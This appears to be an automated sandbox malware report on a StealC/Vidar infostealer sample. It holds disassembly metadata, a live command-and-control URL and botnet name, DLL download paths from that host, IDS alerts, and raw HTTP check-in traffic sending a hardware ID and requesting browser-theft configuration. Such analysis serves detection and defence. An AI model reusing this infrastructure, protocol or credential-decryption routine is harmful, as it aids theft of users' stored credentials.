API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 1a9dbc9efdbee35cabca47a163d5ceb0b46e5ef855e029fde2bdb686fb01e00c
Instruction ID: 53dbb9c15511d3ed6c2a1a94b615a9dcc0f1484383ae125cd90278431688c7a5
Opcode Fuzzy Hash: 1a9dbc9efdbee35cabca47a163d5ceb0b46e5ef855e029fde2bdb686fb01e00c
Instruction Fuzzy Hash: 0AF012B15042087FDB01AB95DC81DAB376DEB4B624F054021FD0957741D635BD1586FF

Function 6C6B85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C6B85D3

Part of subcall function 6C67CA10: malloc.MOZGLUE(?), ref: 6C67CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C6B8725

Strings

map/set<T> too long, xrefs: 6C6B8720

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: dd49b77147bb1fd03f0c8fc6ecde7fded4f28884e6ef912858dbaba2c23dc5e8
Instruction ID: 7a52b3c58002cc25c9b45d9738d2c27b043f895bb7b1a192882e25991a8f7d18
Opcode Fuzzy Hash: dd49b77147bb1fd03f0c8fc6ecde7fded4f28884e6ef912858dbaba2c23dc5e8
Instruction Fuzzy Hash: 18516674A00646CFD701CF18C184A9ABBF1BF4A318F18C19AD8596BB62D335EC95CF96

Function 6C66BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C66BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C66BE8F

Strings

0, xrefs: 6C66BE5B

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 6373aadbd6f32642ff48562f3a520832e429ab7801d4d2bda4ed0e1a8b9d0c42
Instruction ID: 0f722a04e7b7e936b18f9f15f60f707b894d475d3b72f714525265d982fb2b93
Opcode Fuzzy Hash: 6373aadbd6f32642ff48562f3a520832e429ab7801d4d2bda4ed0e1a8b9d0c42
Instruction Fuzzy Hash: E541B171908745CFC311CF2AC481A9BB7F4AFCA388F004A1DF9856BA11D730D9599B8B

Function 6C6A3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6A3D19
mozalloc_abort.MOZGLUE(?), ref: 6C6A3D6C

Strings

d, xrefs: 6C6A3D58

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 9b36a79f48fc2dd4a730b0b0392cebf8c35b3355d1a547056628ce2d4ade51f7
Instruction ID: 690cc23cc2e9efc0808adefbd58e479d3ad3be61d05970dbb21de24db092946f
Opcode Fuzzy Hash: 9b36a79f48fc2dd4a730b0b0392cebf8c35b3355d1a547056628ce2d4ade51f7
Instruction Fuzzy Hash: 22110431E08788D7DB00AFAAC8544EDB7B5EF8A318F448229DC4597612FB30E985C798

Function 6C6C6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C6C6E22
__Init_thread_footer.LIBCMT ref: 6C6C6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C6C6E1D

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: dc14f8d6c27945eec5b4ce56af0d87c1a369e23323a9078d6189caef4f188fe3
Instruction ID: 1c5bd450deb9b73127fd46bfeff8ad07251e0c8e4a8ce3c075c387ed11cd0c94
Opcode Fuzzy Hash: dc14f8d6c27945eec5b4ce56af0d87c1a369e23323a9078d6189caef4f188fe3
Instruction Fuzzy Hash: A5F0593070F281CBDB008B69E898AA13771D38F318F040167C40547B62CB21E507DE9F

Function 6C679E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C679EEF

Strings

NaN, xrefs: 6C679EC1
Infinity, xrefs: 6C679EB7

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 7291caa24aff74271ce9cb8358cc5d554a456f969943c69f23343e9a9fec28f9
Instruction ID: c53cd408e8fc74d7bedfb6de4d04b78169990ebc581e6b8bb5d117edb2048ffa
Opcode Fuzzy Hash: 7291caa24aff74271ce9cb8358cc5d554a456f969943c69f23343e9a9fec28f9
Instruction Fuzzy Hash: F5F0AF7160A246CBDB418F1AF8897903BF1B74F31DF204A17C6040AB41D735654ACA9F

Function 6C676C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kjl,?,6C6A4B30,80000000,?,6C6A4AB7,?,6C6643CF,?,6C6642D2), ref: 6C676C42

Part of subcall function 6C67CA10: malloc.MOZGLUE(?), ref: 6C67CA26

moz_xmalloc.MOZGLUE(0Kjl,?,6C6A4B30,80000000,?,6C6A4AB7,?,6C6643CF,?,6C6642D2), ref: 6C676C58

Strings

0Kjl, xrefs: 6C676C33, 6C676C41, 6C676C57

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kjl
API String ID: 1967447596-1991699394
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 429a029a2a61bb37e28c413bf903b389d15f8640e055e8be7cb0559f78fc8dc3
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 93E026F1A101001BDF18987C9C0956A79C88B153A97084E35E823C2FC8FA94E450807D

Function 6C67BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C67BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C67BEF5

Strings

cryptbase.dll, xrefs: 6C67BEF0

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 82c745155f7be09d0f92c07db60c12e05949ec724290485392b15681d38db74b
Instruction ID: 6a8e7250e22cd8c31d4b102494b3a37c4f18b46087a608326acf223d9b497730
Opcode Fuzzy Hash: 82c745155f7be09d0f92c07db60c12e05949ec724290485392b15681d38db74b
Instruction Fuzzy Hash: 33D0A731188308E6D7506AA18C09B2937749785395F10C422F30544951C7B09412CF9C

Function 6C6BB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C6BB2C9,?,?,?,6C6BB127,?,?,?,?,?,?,?,?,?,6C6BAE52), ref: 6C6BB628

Part of subcall function 6C6B90E0: free.MOZGLUE(?,00000000,?,?,6C6BDEDB), ref: 6C6B90FF
Part of subcall function 6C6B90E0: free.MOZGLUE(?,00000000,?,?,6C6BDEDB), ref: 6C6B9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6BB2C9,?,?,?,6C6BB127,?,?,?,?,?,?,?,?,?,6C6BAE52), ref: 6C6BB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6BB2C9,?,?,?,6C6BB127,?,?,?,?,?,?,?,?,?,6C6BAE52), ref: 6C6BB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C6BB127,?,?,?,?,?,?,?,?), ref: 6C6BB74D

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 9111d29ae67f9ee2f67ef240d1687daadc0358f078493259ad1a07958bb89da2
Instruction ID: 3d07d6717645ca9d39399bd996b78a2b247b257d44b45eaacec20a98dc7eb804
Opcode Fuzzy Hash: 9111d29ae67f9ee2f67ef240d1687daadc0358f078493259ad1a07958bb89da2
Instruction Fuzzy Hash: 9B51AA71A052168FDB14CF18C9C06AEB7B5FF85308F558569C85ABB710EB31A824CBA9

Function 6C6B6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C6B6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C6B6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6B6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6B6F5C

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: c25a6ff8b4766b28044ded97b9adb8d0ceb246131aeab6c30550bf10fb6d4cdc
Instruction ID: 108a5e57a6f7fb5e94b6502ac173b3e7206e64044389dd6f421412c70f509f1d
Opcode Fuzzy Hash: c25a6ff8b4766b28044ded97b9adb8d0ceb246131aeab6c30550bf10fb6d4cdc
Instruction Fuzzy Hash: 0231F671A1460A8FDB08CF2CC9806AA73FAFB85344F50813ED41AD7651EF31E669C794

Function 6C6CB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C670A4D), ref: 6C6CB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C670A4D), ref: 6C6CB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C670A4D), ref: 6C6CB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C670A4D), ref: 6C6CB67F

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 71a9754c922c5120f4c02daca342bba93d56be5811d75817d429fb0571e28de9
Instruction ID: 2324174b8b56845511ca373697a2e3a4adfba8d606bf2c9a9724d376245f16ae
Opcode Fuzzy Hash: 71a9754c922c5120f4c02daca342bba93d56be5811d75817d429fb0571e28de9
Instruction Fuzzy Hash: 3531D471E012168FDB10DF5AC88465ABBB5FFC5314F16856AC8069B201DB31E915CBA6

Function 6C69F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C69F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C69F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C69F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C69F668

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: c842e21cc81e540b61054b9b4b4fabd0a6efcf6a5470ba0290febdf4eedc4363
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 9C316F71A00215AFCB14CF1DCCC0A9B77B5EB98354B158539FA4A8BB04D632F9448B99

Function 6C6B26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6B26C1
free.MOZGLUE(?), ref: 6C6B26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6B26FF
free.MOZGLUE ref: 6C6B270D

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2be432f6657fae060721cd76f53cd3588679bf1cc7eae9feb0da33601a66ef7c
Instruction ID: 93ad343f3c7ce10da83b3f4db85d40f94b0cc0facefb6e1e681bdf6573a9904e
Opcode Fuzzy Hash: 2be432f6657fae060721cd76f53cd3588679bf1cc7eae9feb0da33601a66ef7c
Instruction Fuzzy Hash: 96F086B27012016BE7009A19DC8895777E9AB55358B540035EA16E3B01F732F969C7AD

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Source: 0.2.file.exe.6e0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.6e0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll.	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpl	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpdll	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpO	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/nss3.dlls	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll(	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dllH	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpF	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpJ	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php3	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpwser	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php2	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php(	Virustotal: Detection: 16%	Perma Link

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_006E9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EC820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_006EC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_006E7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_006E9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_006F8EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C676C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C676C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJEHJJKJEGHJJKEBFBGHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 45 45 33 39 36 36 42 32 32 34 38 32 36 30 34 39 38 32 31 36 30 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 2d 2d 0d 0a Data Ascii: ------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="hwid"FEE3966B22482604982160------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="build"doma------HJJEHJJKJEGHJJKEBFBG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIEHCFIECBGCBFHIJJKHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 61 36 31 64 35 33 38 37 32 38 62 39 38 61 38 66 33 39 37 65 38 66 62 37 34 34 62 32 65 35 64 65 33 65 39 33 34 36 63 37 32 65 62 38 38 62 35 62 66 66 32 63 65 61 39 30 35 63 33 32 35 61 35 30 34 63 65 39 39 39 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="token"8aa61d538728b98a8f397e8fb744b2e5de3e9346c72eb88b5bff2cea905c325a504ce999------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="message"browsers------CFIEHCFIECBGCBFHIJJK--
